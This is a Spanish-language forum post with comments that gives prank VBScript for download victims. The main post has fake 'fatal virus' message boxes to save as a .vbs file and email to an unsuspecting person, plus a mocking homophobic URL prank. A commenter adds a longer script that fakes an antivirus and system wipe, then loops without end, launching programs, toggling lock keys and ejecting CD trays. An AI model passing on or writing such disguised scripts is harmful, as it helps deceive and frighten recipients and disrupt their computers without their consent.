Bromas para amigos.

Hola, hoy les traigo unas 2 sencillas bromas que les pueden hacer a sus amigos.

1) en esta broma, la victima, cuando abra el archibo le va a empezar a aparecer unas cuantas ventanas de bugs de mentira.
Todo lo que tienen que hacer es ir al Bloc de notas y escribir esto:


lol=msgbox("¡Has abierto un virus fatal, no hay restauración del sistema, Windows procederá a ser eliminado!",20,"FATAL ERROR 404" )
lol=msgbox("¿Deseas eliminar virus?",51,"FATAL ERROR 404" )
lol=msgbox("¡No se pudo eliminar!",20,"FATAL ERROR 404" )
lol=msgbox("¿Reintentar?",51,"FATAL ERROR 404" )
lol=msgbox("¡No se ha podido eliminar, tu sistema se vera dañado!",20,"FATAL ERROR 404" )
lol=msgbox("This may very high damage on your computer system",48,"FATAL ERROR 404" )
lol=msgbox("¿Deseas reiniciar tu PC?",4,"Cargando" )
lol=msgbox("¡Que importa imbecil se cargará tu computadora en poco tiempo...!",20,"MALDITO VIRUS" )
lol=msgbox("¡Has sido jodido por MI!!!!, JAJAJAJAJAJAJA!",51,"AAAAAAHHH" )
lol=msgbox("¡JAJAJAJAJAJAJA!",32,"¡¡¡JAJAJAJAJAJA! !!" )
lol=msgbox("xD",68,"¡¡¡SE DAÑO O TADAVIA SIGUE VIVA!!!" )
lol=msgbox("¿Deja de jugar y cierra la ventana, si?",51,"Estupido" )
lol=msgbox("¿Entendiste, o no? cierrala YA!",20,"Cierra la ventana o el virus formateara la computadora" )
lol=msgbox("¿Deseas cerrar la ventana?",66,"Error. Empezando Formateo" )
lol=msgbox("¡Muy bien ya se cerrara la ventana!",20,"Virus Fatal" )
lol=msgbox("¿Leiste o no?",51,"Soy un virus hacker" )
lol=msgbox("Esta bien, pero el virus sigue en tu computadora",15,"Soy un virus hacker..." )
lol=msgbox("¡JAJAJAJAJAJAJA!",64,"¡¡¡JAJAJAJAJAJA! !!" )
lol=msgbox("¡Que importa imbecil se jodera tu computadora en poco tiempo...!",20,"MALDITO VIRUS" )


PD: Pueden cambiar los mensajes si quieren que le aparesca otra cosa.

Luego van a archibo guardar como y lo guardan como un archivo vbs Ejemplo: Bugs.vbs. Ahora todo lo que falta es enviarle el archvo por email a la victima, esperar a que lo abra y listo.

2)En esta broma le van a hacer pensar a la victima que esta en una pagina web.

Todo lo que tienen que hacer es entrar a esta pagina: http://NOMBRE.APELLIDO.esgay.com/ ,ejemplo: http://pepe.juanito.esgay.com/ ,donde dice NOMBRE, ponen el nombre de la victima, y donde dice APELLIDO ponen el apillido de la victima ahora todo lo que falta es mostrarle la pagina a la victima y listo.


Comenten

Bromas para amigos.

7 comentarios - Bromas para amigos.

@lex2011 +1
eyy buen post!!
@d2318 +1
.........
@z33us +1
Nice crapy-paste

PD: no hace falta poner "lol=" ........ es es para asignar el resultado de la respuesta del msgbox en una variable para continuar con la ejecución de un programa, solo bastaría con sacarle los paréntesis al resto de la sentencia, te quedaría onda así..

msgbox "¿Deseas eliminar virus?",51,"FATAL ERROR 404"
@RiozG
jajaja
buen post =)
@therock75
Muy bueno, este es mi peqeño bichito, lo qiero mucho pues me e divertido vastante qon el, y eh ganado plata tambien, me tardo tiempo hacerlo y lo e estado perfeccionando, este es uno solo de broma, tengo otros capaces de colapsar el systema pero aqi les dejo mi preferido.

lol=msgbox("Viruz detectado",15,"Antiviruz Inf" )
lol=msgbox("¿Desea eliminar virus?",51,"Antiviruz Inf" )
lol=msgbox("Procesando...",48,"Loading..." )
lol=msgbox("Error",64,"ERROR 404" )
lol=msgbox("¿Reintentar?",51,""Antiviruze Inf" )
lol=msgbox("Buscando...",64,""Antiviruz Inf" )
lol=msgbox("Error de Windows",20,"FATAL ERROR 404" )
lol=msgbox("Generic202",15,"Iniciado" )
lol=msgbox("Inicializando componentes...",64,"Trushsystem 2%" )
lol=msgbox("Antiviruz desactivado",20,"Trushsystem 15%" )
lol=msgbox("Eliminando componentes de system...",20,"Trushsystem 39%" )
lol=msgbox("Componentes Eliminados",51,"Trushsystem 42%" )
lol=msgbox("Formateo Rapido de Windows Iniciado",48,"Trushsystem 51%" )
lol=msgbox("Operación Interrumpida",4,"Trushsystem 55%" )
lol=msgbox("Total de componentes eliminados 256 ",64,"Trushsystem.Inf" )
lol=msgbox("Su Sistema se a vuelto Inestable",20,"Mensaje de Windows" )
lol=msgbox("Trush System.exe ha terminado de editar Windows",66,"Trushsystem 100%" )
lol=msgbox("Fin del los procesos de Windows",64,"Respuesta del Servicio" )
lol=msgbox("Se ha detectado Software potencialmente peligroso ¿Desea contactar con Windows Update?",20,"Mensaje de Windows" )
lol=msgbox("1084 Fallas en el sistema fueron detectadas",48,"ERROR" )
lol=msgbox("Inserte Disco de Windows",68,"Inf" )
lol=msgbox("Operación Anulada",66,"Inf" )
lol=msgbox("Se recominda apagar el Equipo para evitar fallas mayores en el sistema",15,"Recomendación de Windows" )
lol=msgbox("Hackeado por Therock75",15,"Hack by" )

Dim sText, i, WshS, Notepad

Set WshS = CreateObject("WSCript.Shell&quot
Set Notepad = WshS.Exec("Notepad.exe&quot
WSCript.Sleep 1000

sText = "Ejecutando aplicaciones.............. Aplicaciones cargadas Satisfactoriamente!!!!!"

With WshS
For i = 1 to Len(sText)
.AppActivate Notepad.ProcessID
.SendKeys Mid(sText, i ,1)
WSCript.Sleep 100
Next

MsgBox "Haga click en aceptar para terminar carga", VbInformation, "Info"
.AppActivate Notepad.ProcessID
.SendKeys "%{f4}N", False ' Envia Alt+F4, luego envia la letra N "Desea Guardar..."
End With

Set wshShell =wscript.CreateObject("WScript.Shell&quot
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
wscript.sleep 600
wshshell.sendkeys"{CAPSLOCK}"
wshshell.sendkeys"{NUMLOCK}"
wshshell.sendkeys"{SCROLLLOCK}"
WshShell.Run "calc.exe"
WshShell.Run "mspaint.exe"
WshShell.Run "wmplayer.exe"
WshShell.Run "WINWORD.exe"
WshShell.Run "dxdiag.exe"
WScript.Sleep 600
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If